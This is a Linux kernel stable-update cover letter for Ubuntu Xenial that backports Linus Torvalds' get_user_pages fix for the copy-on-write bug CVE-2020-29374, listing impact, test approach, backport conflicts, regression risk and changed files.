[SRU Xenial 0/1] CVE-2020-29374

[Thadeu Lima de Souza Cascardo]

[Impact]
A child process can read CoW data from a parent. This is the first part of the
writeup at https://bugs.chromium.org/p/project-zero/issues/detail?id=2045.

[Test case]
The code at the Project Zero writeup was the one tested. It was adapted so the
shared data was read at the child before doing get_user_pages_fast, so the fast
path would be taken and the fast path on s390x could be tested.

[Backport]
There were conflicts that were fixed, and FOLL_PIN does not exist on bionic.
Also, s390x and x86 still had their own GUPF implementation at 4.4. So, they
needed to carry a fix of their own based on the generic one.

[Potential regression]
This could break users of GUP and hugepages.

[Tests]
This was tested with and without the touching of data before vmsplice on amd64,
i386, s390x, ppc64el.

Linus Torvalds (1):
  gup: document and work around "COW can break either way" issue

 arch/s390/mm/gup.c                      |  9 ++++-
 drivers/gpu/drm/i915/i915_gem_userptr.c |  8 +++++
 mm/gup.c                                | 44 +++++++++++++++++++++----
 mm/huge_memory.c                        |  7 ++--
 4 files changed, 57 insertions(+), 11 deletions(-)

-- 
2.27.0